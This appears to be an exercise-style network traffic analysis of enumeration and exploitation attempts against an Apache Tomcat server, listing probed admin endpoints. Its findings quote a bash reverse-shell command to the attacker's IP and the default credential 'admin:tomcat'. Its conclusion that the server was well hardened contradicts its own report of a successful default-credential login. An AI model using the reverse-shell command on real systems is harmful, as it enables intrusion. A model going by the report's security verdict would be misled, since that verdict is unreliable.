Apache Tomcat Enumeration and Failed Exploitation Attempts

Network Traffic Analysis Report (Updated)

1. Introduction

This report documents the analysis of captured HTTP network traffic during monitoring of a web server environment, focusing on a sequence of HTTP requests targeting an **Apache Tomcat** server. The main goal is to determine whether the observed activity represents:

- a successful attack,
- failed exploitation attempts, or
- routine scanning behavior.

Objectives of this report:

- Understand the attacker's behavior and intent
- Analyze the types of requests sent to the server
- Evaluate server responses
- Identify any security breach or successful exploitation

2. Environment Overview

Item	Details
Attacker IP Address	14.0.0.120
Target Server IP Address	10.0.0.112
Protocol Used	HTTP
Target Application	Apache Tomcat Web Server

Analysis Tool	Network traffic capture (HTTP requests & responses)

The target system appears to be running Apache Tomcat with **standard security controls enabled**, including authentication mechanisms and restricted administrative access.

3. Attack Timeline and Behavior

3.1 Initial Access

The attacker initiated normal HTTP requests to verify that the web server was reachable and responsive.
This is typical reconnaissance behavior where the attacker confirms the target system is online before deeper probing.

3.2 Enumeration Phase

After confirming server availability, the attacker sent multiple HTTP GET requests to known Apache Tomcat endpoints. These targeted paths commonly associated with:

- Administrative interfaces
- Legacy services
- Debug or example applications
- Management and deployment features

Examples of requested endpoints include:

```
/manager
/manager/html
/manager/deploy
/manager/undeploy
/manager/jmxproxy
/jmx-console
/jmx-console/HtmlAdaptor
/invoker/JMXInvokerServlet
/servlet/org.apache.catalina.*
/webdav
```

```
/tomcat-docs
/servlets-examples
```

This behavior clearly indicates **service enumeration rather than normal user activity**.

4. Attacker Intent Analysis

The attacker's requests suggest attempts to identify:

- Exposed Tomcat Manager interfaces
- Misconfigured JMX services
- Legacy Invoker Servlets
- WebDAV misconfigurations
- Default or example applications left enabled

The variety and sequence of requests strongly suggest **generic vulnerability discovery rather than a targeted exploit**.
This pattern is commonly produced by:

- Automated scanning tools
- Penetration testing frameworks
- Scripted reconnaissance utilities

5. HTTP Response Code Analysis

Server responses to the attacker's requests were primarily:

5.1 401 Unauthorized

- Requested resource exists
- Authentication required
- The attacker initially did not provide valid credentials

5.2 404 Not Found

- Requested resource does not exist or service disabled
- Indicates unnecessary or legacy services are not exposed

5.3 301 / 302 Redirect

- Redirect to authentication pages
- Enforcing access control mechanisms

5.4 200 OK (Limited Cases)

- Requests that received 200 OK were **successful logins**
- **Confirmed credential used:** `admin:tomcat`
- No further sensitive data exposure observed

6. Overall Findings

- The attacker attempted to enumerate multiple Apache Tomcat endpoints.
- Q6 shows **successful login using `admin:tomcat`**.
- Q7 shows **attempted upload of a malicious file** (XXXXXX`.jsp`) for reverse shell.
- Q8 shows **attempted persistence** via scheduled command: `/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/4444 0>&1'` (not executed).
- All other observed activity aligns with reconnaissance and enumeration techniques.
- No actual exploitation, remote code execution, or data compromise occurred.

7. Classification of the Activity

Failed Enumeration and Unsuccessful Exploitation Attempts Against Apache Tomcat

This activity is **not classified as a confirmed security incident** but should be logged and monitored as suspicious behavior.

8. Security Posture Assessment

The target server demonstrated:

- Proper access control mechanisms
- Disabled or non-existent legacy services
- Restricted administrative interfaces
- Effective handling of unauthorized access attempts

Overall, the Apache Tomcat server appears **properly hardened and securely configured**.

9. Recommendations

1. Continue monitoring HTTP traffic for repeated enumeration patterns.
2. Implement alerting for excessive 401 and 404 responses from a single source IP.
3. Keep Tomcat Manager and JMX interfaces disabled or restricted.
4. Regularly audit deployed applications and remove unused services.
5. Consider rate-limiting or temporarily blocking aggressive scanning IPs.

10. Final Conclusion

Analysis confirms that although the attacker actively attempted to discover vulnerabilities and gained **limited successful authentication**, all attempts to exploit or maintain persistence **failed**.

The server successfully prevented unauthorized access, exploitation, and data compromise, demonstrating **strong security posture and proper Tomcat hardening**.